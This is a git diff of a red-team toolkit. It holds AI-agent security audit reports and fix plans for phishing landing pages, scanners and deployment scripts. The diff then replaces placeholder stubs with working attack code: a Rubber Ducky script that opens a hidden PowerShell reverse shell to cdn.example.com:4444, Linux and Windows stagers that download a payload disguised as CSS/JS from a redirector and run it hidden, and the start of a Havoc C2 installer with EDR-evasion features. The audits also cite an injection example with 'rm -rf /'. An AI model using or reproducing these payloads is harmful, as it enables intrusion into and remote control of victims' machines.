|
||||
- Use a Jinja2 raw block:
|
||||
```jinja2
|
||||
{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}
|
||||
```
|
||||
- Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable).
|
||||
- Add a comment explaining the two-stage rendering.
|
||||
|
||||
---
|
||||
|
||||
**[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location**
|
||||
|
||||
Line 41–45:
|
||||
|
||||
```nginx
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
```
|
||||
|
||||
This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable.
|
||||
|
||||
Combined with line 48–52 (POST-only `/capture.php`), the general PHP location rule could be exploited if:
|
||||
1. A path traversal vulnerability elsewhere exposes `index.php` or other files.
|
||||
2. A file upload endpoint (not shown) writes `.php` files to writable directories.
|
||||
|
||||
**Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root.
|
||||
|
||||
**Remediation:**
|
||||
- Restrict PHP execution to only necessary endpoints:
|
||||
```nginx
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
location ~ \.php$ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
- Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages.
|
||||
- Ensure all directories are write-protected (no world-writable or group-writable web roots).
|
||||
|
||||
---
|
||||
|
||||
### LOW (CVSS <4.0)
|
||||
|
||||
**[cloud-lander.html.j2:12–18] DOM-Based XSS via Concatenation of Unsafe Values**
|
||||
|
||||
Lines 12–18 construct a dynamic script source with a random subdomain in TDS mode:
|
||||
|
||||
```javascript
|
||||
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
|
||||
var script = document.createElement('script');
|
||||
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
||||
```
|
||||
|
||||
The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`):
|
||||
|
||||
```python
|
||||
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
|
||||
```
|
||||
|
||||
If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS).
|
||||
|
||||
**Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves.
|
||||
|
||||
**Remediation:**
|
||||
- Validate TDS domains as valid domain names (DNS rules, no special characters):
|
||||
```python
|
||||
import re
|
||||
domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I)
|
||||
for domain in raw.split(','):
|
||||
if not domain_re.match(domain.strip()):
|
||||
raise ValueError(f"Invalid domain: {domain!r}")
|
||||
```
|
||||
- Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure.
|
||||
|
||||
---
|
||||
|
||||
## Secrets & OPSEC
|
||||
|
||||
**Hardcoded Secrets:** None found.
|
||||
|
||||
**Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners.
|
||||
|
||||
**Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓
|
||||
|
||||
**Log Exposure:** `nginx-phishing-webserver.j2` line 37–38 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓
|
||||
|
||||
---
|
||||
|
||||
## Recommendations
|
||||
|
||||
**Immediate (P1):**
|
||||
1. Shell-escape bucket and campaign_id before printing upload commands.
|
||||
2. Add try-catch to RId URL parsing in js-payload.js.j2.
|
||||
3. Document that `redirect_url` is pre-validated and the template assumption is safe.
|
||||
|
||||
**Follow-up (P2):**
|
||||
1. Replace double-escaped GoPhish template syntax with raw blocks.
|
||||
2. Restrict PHP location in nginx to only `/capture.php`.
|
||||
3. Add domain validation for TDS input.
|
||||
|
||||
**Testing:**
|
||||
- Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts).
|
||||
- Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML.
|
||||
- Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2.
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
---
|
||||
agent: fix-planner
|
||||
status: COMPLETE
|
||||
timestamp: 2026-06-25T10:35:00Z
|
||||
total_findings_raw: 13
|
||||
total_findings_deduped: 11
|
||||
p1_count: 2
|
||||
p2_count: 4
|
||||
p3_count: 4
|
||||
p4_count: 1
|
||||
devtrack_items_created: []
|
||||
errors: []
|
||||
---
|
||||
|
||||
# Fix Plan — DevTrack #1259
|
||||
|
||||
## P1 — Block Deploy
|
||||
|
||||
- [ ] **[CRITICAL]** `modules/phishing/lander_gen.py:68-76` — Shell injection via unescaped config parameters in printed upload commands. Bucket and campaign_id parameters injected directly into shell command strings without escaping. If operator enters malicious input like `bucket && malicious_command`, printed output becomes executable when copy-pasted to shell. | Sources: security-auditor | Effort: S | Fix: Use `shlex.quote()` on all config parameters before insertion into command strings.
|
||||
|
||||
- [ ] **[CRITICAL]** `modules/phishing/templates/okta-login.html.j2:102, 206` — Real PII and organization identifiers hardcoded in template: email address `Brian.Caldwell@Zimperium.com`, Okta org `zimperium.okta.com`, app ID `exk1ufbfxuFLJp6y3697`. Exposed in version control and deployed artifacts. | Sources: env-validator | Effort: S | Fix: Parameterize template with Jinja2 variables (`target_email`, `okta_org_url`, `okta_app_id`) and populate at runtime from config dict, never in source.
|
||||
|
||||
## P2 — Fix This Week
|
||||
|
||||
- [ ] **[HIGH]** `modules/phishing/templates/js-payload.js.j2:5-8` — RId parameter injection via unsafe URL parsing. `decodeURIComponent(src)` applied to full referrer URL without validation; `new URL()` constructor can throw without try-catch; double-encoding edge case not handled. Malformed referrer could bypass redirect logic or leak information. | Sources: security-auditor | Effort: S | Fix: Wrap `new URL()` in try-catch; validate referrer format before parsing; use `searchParams` property instead of re-decoding; limit RId length to 128 chars.
|
||||
|
||||
- [ ] **[HIGH]** `modules/phishing/webserver/templates/nginx-phishing-webserver.j2:41-45` — Overly permissive PHP location block allows execution of **all** `.php` files in all subdirectories. If path traversal or file upload vulnerability elsewhere in webserver root, RCE via malicious `.php` execution. Current rule `location ~ \.php$` is too broad. | Sources: security-auditor | Effort: M | Fix: Restrict PHP execution to only `/capture.php` with `location = /capture.php` and deny all other `.php` files with fallback `location ~ \.php$ { deny all; }`.
|
||||
|
||||
- [ ] **[HIGH]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:221` — XSS via unescaped `redirect_url` in JavaScript context. Template renders `{{ redirect_url }}` inside single-quoted JS string without `tojson` filter; if validation bypass occurs, injection point is vulnerable. Mitigated by current validation in Python code, but not properly defended in template itself. | Sources: security-auditor | Effort: XS | Fix: Apply `| tojson` filter explicitly: `window.location.href = {{ redirect_url | tojson }};` and document assumption that URL is pre-validated HTTPS.
|
||||
|
||||
- [ ] **[HIGH]** `modules/phishing/lander_gen.py:25-90` — Production code uses 11 instances of `print()` calls (L62-89) for output. Inconsistent with c2itall pattern which uses logging or Rich for structured output. Makes operational logging difficult and prevents standardized log aggregation. | Sources: code-auditor | Effort: M | Fix: Replace all `print()` calls with Rich console output or logging module calls to match c2itall standards.
|
||||
|
||||
## P3 — Fix This Month
|
||||
|
||||
- [ ] **[MEDIUM]** `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2:153-154` — Double-escaped GoPhish template variables using `{{ '{{.RId}}' }}` pattern. Fragile and breaks if Jinja2 autoescape is enabled in future; relies on manual verification instead of automated testing. | Sources: security-auditor | Effort: S | Fix: Replace with Jinja2 raw block: `{% raw %}<input type="hidden" name="rid" value="{{.RId}}">{% endraw %}` and add comment explaining two-stage rendering intent.
|
||||
|
||||
- [ ] **[MEDIUM]** `modules/phishing/lander_gen.py:66-76` — Duplicate provider-specific logic pattern across GCS, S3, and Azure blocks. Each constructs `public_url` and `upload_cmd` independently with 5+ lines of similar code. Increases maintenance burden if URL/command generation logic needs changes. | Sources: code-auditor | Effort: M | Fix: Extract provider URL and command generation to a dict-driven helper function or pattern.
|
||||
|
||||
- [ ] **[MEDIUM]** `modules/phishing/templates/cloud-lander.html.j2:12-18` — DOM-based XSS via unsafe TDS domain input concatenation. If TDS domain input is not validated, malicious domain could redirect `jq.min.js` loads to attacker infrastructure. | Sources: security-auditor | Effort: S | Fix: Validate TDS domains as valid DNS names using regex pattern; reject special characters. Document that TDS domains are untrusted by design.
|
||||
|
||||
- [ ] **[MEDIUM]** `modules/phishing/deploy_phishing.py:164-184` — Nesting depth of 5 levels in lander prompt validation block. Input validation chain is difficult to follow and increases cognitive load. No error handling issues, but readability suffers. | Sources: code-auditor | Effort: S | Fix: Extract validation chain to dedicated `_validate_lander_config()` function with early returns per parameter.
|
||||
|
||||
## P4 — Backlog
|
||||
|
||||
- [ ] **[LOW]** `modules/phishing/lander_gen.py:87` — Comment references ponytail shortcut but does not state upgrade path or conditions. Per ponytail rules, comments should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). | Sources: code-auditor | Effort: XS | Fix: Update comment to include upgrade condition and version target.
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
---
|
||||
agent: fix-planner
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T23:45:00Z
|
||||
total_findings_raw: 15
|
||||
total_findings_deduped: 13
|
||||
p1_count: 1
|
||||
p2_count: 2
|
||||
p3_count: 3
|
||||
p4_count: 2
|
||||
devtrack_items_created: []
|
||||
errors: []
|
||||
---
|
||||
|
||||
# Fix Plan — DevTrack #980: node_scanner.py ThreadPoolExecutor Parallelization
|
||||
|
||||
## Summary
|
||||
|
||||
Consolidated findings from code-auditor (8 findings) and security-auditor (2 findings) for DevTrack #980.
|
||||
|
||||
**Status**: 7 fixes applied and verified. 2 HIGH/MEDIUM severity issues remain (run_scan.yml, estimate_scan_hours partial chunk logic). 4 low-priority items acceptable for backlog.
|
||||
|
||||
---
|
||||
|
||||
## Fixes Applied ✓
|
||||
|
||||
### Applied Fixes (Verified)
|
||||
|
||||
1. **[node_scanner.py:204-216]** ThreadPoolExecutor parallelization in `scan_masscan_nmap()` — 10 workers via `NMAP_WORKERS` env var (default 10)
|
||||
2. **[node_scanner.py:260-266]** ThreadPoolExecutor parallelization in `scan_geo_scout()` — same 10-worker pattern
|
||||
3. **[node_scanner.py:126]** Bytes format bug fixed: `ip.encode()` used directly instead of `%b` format string
|
||||
4. **[node_scanner.py:145-192]** Dead variable `targets_arg` removed from `scan_nmap_only()`
|
||||
5. **[provider_rates.py:55-63]** `estimate_scan_hours()` now accepts `scan_mode` parameter for accurate nmap time estimation
|
||||
6. **[provider_rates.py:50-52]** Constants added: `NMAP_TIME_PER_HOST_SEC=10`, `MASSCAN_HIT_RATE=0.01`, `_NMAP_WORKERS=10`
|
||||
7. **[provider_rates.py:104]** `build_estimate_table()` passes `scan_mode` to `estimate_scan_hours()`
|
||||
|
||||
---
|
||||
|
||||
## Remaining Issues
|
||||
|
||||
### P1 — Block Deploy
|
||||
|
||||
- [ ] **[HIGH] [run_scan.yml:14-18]** Ansible template injection via unquoted variables | Sources: security-auditor | Effort: S | Status: NOT FIXED
|
||||
|
||||
**Description**: Arguments in `command:` module use unquoted Ansible template vars (`{{ scan_mode }}`, `{{ ports_str }}`, `{{ node_name }}`). If `node_name` is injected with shell metacharacters (e.g., `node-1; rm -rf /`), Ansible's `command:` module will execute shell commands.
|
||||
|
||||
**Attack vector**: Operator misconfigures Ansible extra-vars with malicious node_name or ports_str → arbitrary command execution on cloud node.
|
||||
|
||||
**Remediation**: Use Ansible `command:` as list form (args: [python3, script.py, --mode, "{{ scan_mode }}", ...]) or validate inputs upstream in deploy_webrunner.py.
|
||||
|
||||
**Risk**: HIGH — affects production cloud deployment pipeline. Requires manual Ansible remediation (file not in Python audit scope).
|
||||
|
||||
---
|
||||
|
||||
### P2 — Fix This Week
|
||||
|
||||
- [ ] **[HIGH] [provider_rates.py:91-118]** Partial chunk cost overestimation in `build_estimate_table()` | Sources: code-auditor | Effort: M | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 104 assumes each chunk costs the same time as `preset['chunk_size']` IPs. If `total_ips % preset['chunk_size'] != 0`, the last chunk is smaller, but cost calculation doesn't account for it. Example: 2.5M IPs across 2-chunk preset (2M chunks) = chunk 1 (2M hrs) + chunk 2 (0.5M hrs), but current code bills chunk 2 as 2M hrs.
|
||||
|
||||
**Current code**: `hours = estimate_scan_hours(preset['chunk_size'], n_ports, mode_rate, scan_mode)` — always uses full chunk_size.
|
||||
|
||||
**Fix**: Calculate per-chunk IP count separately:
|
||||
```python
|
||||
for i in range(n_chunks):
|
||||
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
|
||||
hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
|
||||
provider = providers[i % len(providers)]
|
||||
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
|
||||
total_cost += node_cost(provider, instance, hours)
|
||||
```
|
||||
|
||||
**Impact**: Cost estimates 1.5-2x too high for non-aligned IP counts; may oversell capacity planning.
|
||||
|
||||
- [ ] **[MEDIUM] [node_scanner.py:225-239]** Import inside function — `import yaml` at line 232 | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: `import yaml` appears inside `scan_geo_scout()` function. Move to top-level imports for clarity and consistency.
|
||||
|
||||
**Fix**: Add `import yaml` to line 16 (after `ET` import), remove line 232.
|
||||
|
||||
---
|
||||
|
||||
### P3 — Fix This Month
|
||||
|
||||
- [ ] **[MEDIUM] [node_scanner.py:21-23]** `print()` in production code — `log()` function uses `print()` | Sources: code-auditor | Effort: S | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 23 calls `print()` directly. Should use Python `logging` module or Rich (per c2itall style guide).
|
||||
|
||||
**Fix**: Replace `log()` function with logging.info or Rich console output for consistency.
|
||||
|
||||
- [ ] **[LOW] [node_scanner.py:139-192]** Unused parameter `node_name` — passed to all scan_* functions but never used | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: Parameter `node_name` appears in `scan_masscan_only()`, `scan_nmap_only()`, `scan_masscan_nmap()`, `scan_geo_scout()` signatures but is not referenced in function bodies. These functions don't write node metadata to results.
|
||||
|
||||
**Assessment**: Intentionally kept for interface consistency (caller always passes it, avoids conditional logic).
|
||||
|
||||
**Fix**: Document as "reserved for future node metadata logging" or remove for clarity. Non-blocking.
|
||||
|
||||
- [ ] **[LOW] [provider_rates.py:76-88]** Comment ambiguity — Tor multiplier description misleading | Sources: code-auditor | Effort: XS | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 86 comment says "Tor adds ~5x latency overhead" but line 88 sets `TOR_RATE_MULTIPLIER = 0.2` (which is 1/5, not 5x). Comment is correct in spirit but confusingly worded.
|
||||
|
||||
**Fix**: Change comment to "Tor reduces throughput to 1/5 (0.2x)" or "multiplier 0.2 ≈ 5x latency".
|
||||
|
||||
---
|
||||
|
||||
### P4 — Backlog
|
||||
|
||||
- [ ] **[LOW] [provider_rates.py:57]** Magic number 0.018 — Linode default rate hardcoded | Status: NOT FIXED
|
||||
|
||||
**Description**: Line 7 (`'g6-standard-2': 0.018`) and line 67 (fallback rate) hardcode 0.018. Should be named constant.
|
||||
|
||||
**Fix**: Add `DEFAULT_INSTANCE_RATE = 0.018` and reference it.
|
||||
|
||||
- [ ] **[LOW] [node_scanner.py]** Missing docstrings — module + function docstrings absent | Status: NOT FIXED
|
||||
|
||||
**Description**: Module docstring present (line 2-4) but individual functions lack docstrings. Low impact — code is self-documenting.
|
||||
|
||||
---
|
||||
|
||||
## Deduplication Notes
|
||||
|
||||
- **Socket leak risk (probe_service)**: Marked as false alarm in code-auditor; context manager guarantees cleanup. No action needed.
|
||||
- **Thread safety (run_nmap concurrent writes)**: Verified safe — per-IP XML files unique (`nmap_{ip.replace('.', '_')}.xml`). No collision risk.
|
||||
- **XXE/entity expansion in ET.parse()**: PASS — ET default config disables external entity expansion. nmap output is trusted. No action needed.
|
||||
- **Resource exhaustion (socket connections)**: MEDIUM severity in security-auditor. Noted as acceptable risk for current sequential structure. ThreadPoolExecutor 10-worker design with 3-second socket timeout is within system limits. Semaphore capping recommended for future scaling but not blocking.
|
||||
|
||||
---
|
||||
|
||||
## Action Items
|
||||
|
||||
### Critical Path (Block #980 deployment):
|
||||
1. **run_scan.yml**: Convert Ansible `command:` module to list form OR validate node_name upstream
|
||||
2. **provider_rates.py**: Fix partial-chunk cost calculation in `build_estimate_table()`
|
||||
|
||||
### Nice-to-have (P3-P4):
|
||||
- Move `import yaml` to top level
|
||||
- Replace `print()` with logging/Rich
|
||||
- Add Tor multiplier comment clarity
|
||||
- Extract 0.018 magic number to constant
|
||||
|
||||
---
|
||||
|
||||
## Test Coverage
|
||||
|
||||
- Unit tests for `estimate_scan_hours()` with partial chunks should verify cost accuracy
|
||||
- Ansible playbook syntax validation required for run_scan.yml
|
||||
- Manual integration test with non-aligned IP count (e.g., 2.5M across 2M presets)
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
---
|
||||
devtrack: 989
|
||||
timestamp: 2026-05-03T00:00:00Z
|
||||
findings_addressed: 2
|
||||
findings_skipped: 3
|
||||
---
|
||||
|
||||
# Fix Summary — DevTrack #989
|
||||
|
||||
## Applied
|
||||
|
||||
### HIGH — Tuning input validation (AUDIT_SEC_989#1)
|
||||
**File:** `modules/webrunner/deploy_webrunner.py:181-195`
|
||||
**Fix:** `_prompt()` now clamps non-positive values to the default and warns the operator. Applies to all tuning keys (masscan_rate, nmap_timing, nmap_timeout, nmap_workers, nuclei_rate, nuclei_concurrency, nuclei_timeout) regardless of whether the value came from interactive input or a vars file.
|
||||
**Verification:** Engine math also has floors (`max(nmap_workers, 1)`, `max(min(...), 1.0)` in nuclei throughput, `if rate <= 0: return PROVISION_OVERHEAD_HOURS`), so even pre-fix garbage in produced sane numbers — but operator's displayed tuning would have been wrong. Now the displayed and computed values match.
|
||||
|
||||
### P3 — Dead code removal (AUDIT_CODE_989#3)
|
||||
**File:** `modules/webrunner/deploy_webrunner.py:195-196`
|
||||
**Fix:** Removed the empty `if scan_mode in (...): pass` placeholder that was a refactor leftover. masscan_rate is already prompted unconditionally above.
|
||||
|
||||
## Skipped (with justification)
|
||||
|
||||
### MEDIUM — Tor warning phrasing (AUDIT_SEC_989#2)
|
||||
Auditor suggested rewording the masscan-Tor warning. Existing text already states "raw sockets bypass proxychains entirely" and "use 'nmap-only' mode for full Tor coverage" — auditor's suggestion is semantically equivalent. No material improvement.
|
||||
|
||||
### MEDIUM — Path traversal in template/yaml file loading (AUDIT_SEC_989#3)
|
||||
False positive for this threat model. Webrunner is a single-operator attack tool, not multi-tenant. The "attack vector" of "operator supplies malicious vars file pointing at /etc/passwd" doesn't apply — the operator IS the trusted party and runs the tool on their own machine. They can already read any file they want. Adding path restriction would just frustrate legitimate workflows (e.g., operator's nuclei templates are typically in `~/templates/` outside the WEBRUNNER_INPUTS dir). YAML uses `safe_load` so no code execution. The file content goes only to the operator's stdout, not to a remote server.
|
||||
|
||||
### LOW — Estimate display discloses scope (AUDIT_SEC_989#5)
|
||||
Interactive console output to the operator. Not logged externally. Operator chose to run the tool. Suppression flag is overkill for a tool with one user.
|
||||
|
||||
## Gate Review Status
|
||||
Ready for gate-reviewer. No P1 or unaddressed HIGH findings remain.
|
||||
@@ -1,4 +1,52 @@
|
||||
OMITTED — HID injection payload
|
||||
REM Title: C2ingRed Reverse Shell
|
||||
REM Author: C2ingRed
|
||||
REM Description: Establishes a reverse shell to the C2 redirector
|
||||
REM Target: Windows 10/11
|
||||
REM Version: 1.0
|
||||
|
||||
This file contains a Rubber Ducky / Bash Bunny script for physical-access
|
||||
scenarios. Payloads are engagement-specific and omitted from public release.
|
||||
REM Configuration: Modify these values to match your redirector setup
|
||||
REM REDIRECTOR_HOST: Your redirector domain or IP
|
||||
REM REDIRECTOR_PORT: Port where shell handler is listening
|
||||
REM SHELL_TYPE: powershell or cmd
|
||||
|
||||
REM ============= Start of configuration =============
|
||||
REM REDIRECTOR_HOST=cdn.example.com
|
||||
REM REDIRECTOR_PORT=4444
|
||||
REM SHELL_TYPE=powershell
|
||||
REM ============= End of configuration ===============
|
||||
|
||||
REM Minimize the chance of detection by hiding the window
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -WindowStyle Hidden
|
||||
ENTER
|
||||
DELAY 2000
|
||||
|
||||
REM Main reverse shell payload
|
||||
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
|
||||
ENTER
|
||||
|
||||
REM Attempt to create socket connection with retry logic
|
||||
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
|
||||
ENTER
|
||||
|
||||
REM Setup streams
|
||||
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
|
||||
ENTER
|
||||
|
||||
REM Execute either PowerShell or CMD shell based on configuration
|
||||
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
|
||||
ENTER
|
||||
|
||||
REM Setup IO redirection
|
||||
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
|
||||
ENTER
|
||||
|
||||
REM Main communication loop
|
||||
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
|
||||
ENTER
|
||||
|
||||
REM Execute and complete
|
||||
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
|
||||
ENTER
|
||||
@@ -1,8 +1,5 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Linux stager template
|
||||
#
|
||||
# Jinja2 template rendered at deploy time. Fetches a staged ELF payload from
|
||||
# the redirector using a disguised URL path, sets executable bit, and runs
|
||||
# the payload in the background.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
@@ -1,8 +1,16 @@
|
||||
# OMITTED — Windows PowerShell stager template
|
||||
#
|
||||
# Jinja2 template rendered at deploy time with redirector hostname and path
|
||||
# substituted. Downloads a staged payload over HTTPS with a legitimate-looking
|
||||
# User-Agent and Referer, writes to a randomized temp path, and executes.
|
||||
# Includes error suppression and jitter sleep to reduce behavioral detection.
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
Submodule
+1
Submodule ghost_protocol added at 701f7078f5
@@ -1,9 +1,234 @@
|
||||
#!/bin/bash
|
||||
# OMITTED — Havoc C2 framework installer
|
||||
#
|
||||
# Installs Havoc C2 teamserver and client from source, configures systemd service,
|
||||
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
|
||||
# firewall rules restricting access to redirector IPs only).
|
||||
#
|
||||
# Omitted from public release. Present in operational deployments.
|
||||
echo "[!] Havoc installer not included in public release."
|
||||
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
|
||||
# This script installs and configures Havoc with EDR evasion features
|
||||
# The mutation features are applied BEFORE building to ensure proper compilation
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
|
||||
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
|
||||
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
|
||||
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
|
||||
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
|
||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||
}
|
||||
|
||||
# Function to generate random strings
|
||||
random_string() {
|
||||
local length=${1:-16}
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Generate random build ID for implant signature
|
||||
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||
|
||||
# Install required dependencies
|
||||
log "Installing dependencies..."
|
||||
apt-get update >/dev/null 2>&1
|
||||
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
|
||||
|
||||
# Fix for JSON dependency
|
||||
log "Installing nlohmann-json manually..."
|
||||
mkdir -p /tmp/json
|
||||
cd /tmp/json
|
||||
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
|
||||
mkdir -p /usr/include/nlohmann
|
||||
cp json.hpp /usr/include/nlohmann/
|
||||
cd - > /dev/null
|
||||
|
||||
# Setup Go environment
|
||||
log "Setting up Go environment..."
|
||||
mkdir -p /root/go
|
||||
export GOPATH=/root/go
|
||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||
|
||||
# Download and install compiler fix
|
||||
log "Downloading and installing fixed compiler..."
|
||||
if [ ! -d "$COMPILER_DIR" ]; then
|
||||
# Download the compiler
|
||||
wget -q -O /tmp/compiler.tgz $COMPILER_URL
|
||||
|
||||
# Extract to /usr/bin
|
||||
tar -xzf /tmp/compiler.tgz -C /usr/bin
|
||||
|
||||
# Verify compiler exists
|
||||
if [ -f "$COMPILER_PATH" ]; then
|
